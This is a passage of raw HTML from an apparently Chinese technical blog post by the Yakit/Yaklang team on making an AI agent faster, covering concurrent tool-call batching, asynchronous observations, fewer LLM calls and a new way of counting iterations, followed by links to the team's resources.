&#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">5.2 并发执行的内部机制</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">运行时收到一个 batch 后，为每个 child call 创建独立的 ToolCaller 管线，通过信号量门（semaphore gate）控制并发度，用 barrier 保证所有 child 都 settled 后才进入下一轮：</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mt16jd7pzou" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="1306" data-imgfileid="100046422" data-ratio="1.1143344709897611" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="1172" data-width="1172" src="https://wechat2rss.xlab.app/img-proxy/?k=86b799ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72HxIpiboVlM8JB9L0ib4u6nx1YhQUPU6cvlPBIiaKs5mtf6ESYImgGtxKS4Iltibt4NdhIpI3TAdsRTeqFNUtaGzlosa3eSu35rsn0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">5.3 对速度的影响</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这个改动对速度的影响是多层面的：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">1.减少主循环轮次</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;">3 个独立读取从 3 轮变 1 轮，少 2 次 LLM call + 2 次 prompt 构建</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">2. I/O 并行</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;">3 个文件读取同时进行，墙钟时间从 3 倍变 1 倍</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">3.上下文更紧凑</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;">少 2 轮中间结果进 Timeline，后续每轮 prompt 更短</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">4.减少后续开销</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;">少几轮迭代意味着少几次 prompt 构建和 LLM 调用</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Prompt 层面也做了配套：frozen-block 段的工具调用模式说明里增加了并发批次的决策指导，教 AI &#34;已有 2-8 个无依赖调用时优先走并发批次，不得仅为沿用单工具而拆成多轮&#34;。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mt16ka7tkun" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5858925143953935" data-type="png" data-w="2084" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="2084" data-height="1221" data-imgfileid="100046423" src="https://wechat2rss.xlab.app/img-proxy/?k=62c9dbac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72FSm3nXRkmrH0mE4atIbgKpcuVnC9gc1MEXwhNVy0tNOiaqlqmqao1vdz89ZTOiaiamvZpVDRN5qmiavezHXicCtVfCBcNDYOicSlWvw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">六、四个优化的关系</span></strong></p></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这四个优化分别作用于 Agent 运行的不同环节，但彼此有协同：</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mt16kupjwal" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.48091603053435117" data-type="png" data-w="2358" style="background-color: transparent;box-shadow: rgb(240, 240, 240) 0px 0px 0.5em 0px;" data-width="2358" data-height="1134" data-imgfileid="100046419" src="https://wechat2rss.xlab.app/img-proxy/?k=122fe324&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72F39HIrZ7atMoCfVOvacbFWlR9lEbHDsRUmDHK7M2iaU7nN5bNPlRZicD1MkhgArAGPOPxYIFWx78onxcTPno1O3yoHuq592aZjY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul class="list-paddingleft-1"><li style="color:#fd8009;"><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Observation 异步化</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">解决的是单轮的墙钟时间——把不参与 AI 调用的计算挪到异步</span></span></p></li><li style="color:#fd8009;"><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">移除无用调用与降频</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">解决的是 LLM 调用次数——移除无用的、降低高频的</span></span></p></li><li style="color:#fd8009;"><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">有效迭代重定义</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">解决的是迭代预算——空转轮不计入有效迭代，Agent 不会因为试错和澄清消耗掉全部预算</span></span></p></li><li style="color:#fd8009;"><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">并发工具调用</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">解决的是主循环轮次——该并行的并行，不为独立操作浪费轮次</span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">并发工具调用会同时放大前两个优化的效果：更少的轮次意味着更少的 prompt 构建（Observation 异步化省的 235ms×N）、更少的 LLM 调用（降频省的调用次数×N）。这是做性能优化时常见的现象——</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">你以为是在优化一个点，实际打通了几条线的联动。</span></span></strong></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">七、写在最后</span></strong></p></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">做 Agent 性能优化和做传统软件性能优化不太一样。传统优化看的是 CPU Profile、内存分配、锁竞争；Agent 优化看的是 LLM 调用次数、prompt 稳定性、token 预算、I/O 并行度。最大的开销不在机器侧，而在模型侧。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这篇文章里的四个方向的优化，没有一个是什么高深的算法。它们的核心都是同一件事：</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">搞清楚什么东西是真正需要的，然后去掉不需要的。</span></span></strong></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">observation 不参与 AI 调用？异步。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">SearchMemory 结果没人用？删掉。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">空转轮和推进轮平等计费？分开计数。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3个独立读取非要串行3轮？让它并行。</span></span></p><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px auto;padding: 10px 0px 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC NEW&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;border: 1px solid rgb(255, 156, 25);background-color: rgb(255, 251, 239);" data-pm-slice="7 7 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); margin: 10px auto; padding: 10px 0px 0px; outline: 0px; max-width: 100%; box-sizing: border-box; overflow-wrap: break-word !important; color: rgba(0, 0, 0, 0.9); font-family: \&#34;PingFang SC NEW\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 17px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: 0.544px; orphans: 2; text-align: justify; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: -10px 0px 0px;padding: 6px 35px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background: linear-gradient(to right, rgb(240, 78, 18), rgb(255, 155, 25));clip-path: polygon(0px 0px, 100% 0px, 90% 100%, 10% 100%);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 12px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">END</span></p></div></div></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 15px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 15px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: flex-start;"><div data-mpa-action-id="mrxdnoohex8" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 25px 0px 6px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 16px;color: rgb(210, 64, 12);text-align: left;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-weight: bold;">YAK官方资源</span></span></p></div></div><div data-autoskip="1" data-mpa-action-id="mryegmidjp7" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 10px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);background-color: transparent;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" mpa-font-style="mryegmhq22t3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Yakit官网下载地址：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-nest-level="9" mpa-font-style="mryegmhq5co" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p><p style="margin-top: 0px;line-height: 1.5em;"><span leaf=""><span textstyle="" style="font-size: 13px;">Github地址：</span></span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-nest-level="9" mpa-font-style="mryegmhq1scc" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p><p style="margin-top: 0px;line-height: 1.5em;"><span leaf="">Yakit 视频教程：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-nest-level="9" mpa-font-style="mryegmhq1tl2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" mpa-font-style="mryegmhqw0g" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Memfit下载地址：</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" mpa-font-style="mryegmhq1p6s" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://memfit.ai/" target="_blank">https://memfit.ai/</a></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-pm-slice="0 0 []" mpa-font-style="mryegmhq1oij" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 